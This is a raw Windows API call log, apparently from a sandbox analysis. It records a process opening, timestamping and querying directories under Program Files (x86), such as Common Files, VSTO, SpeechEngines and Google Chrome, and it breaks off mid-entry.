[0253.028] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.028] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.031] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.031] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.035] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.035] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0253.037] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.037] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.042] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.042] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.045] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.045] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.047] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.047] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.048] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.048] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.049] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.049] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.050] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.050] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services" (normalized: "c:\\program files (x86)\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0253.051] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.051] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines" (normalized: "c:\\program files (x86)\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.057] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.057] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.057] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.057] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.058] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.058] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.059] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.059] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0253.059] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0253.059] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0253.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System" (normalized: "c:\\program files (x86)\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0253.108] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.108] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado" (normalized: "c:\\program files (x86)\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0253.156] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.156] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0253.248] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.248] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.249] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.249] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.249] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.249] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0253.295] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.295] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB" (normalized: "c:\\program files (x86)\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.342] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.342] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0253.390] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.390] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google" (normalized: "c:\\program files (x86)\\google"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.390] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0253.390] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0253.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome" (normalized: "c:\\program files (x86)\\google\\chrome"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.391] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0253.391] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0253.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application" (normalized: "c:\\program files (x86)\\google\\chrome\\application"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.391] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0253.391] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0253.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.391] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0253.392] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0253.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.435] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.435] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0253.575] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.575] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.576] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.576] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0253.577] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.577] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0253.670] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.670] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0253.795] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0253.795] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0253.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific"), dwDesiredAccess=0x80000000, 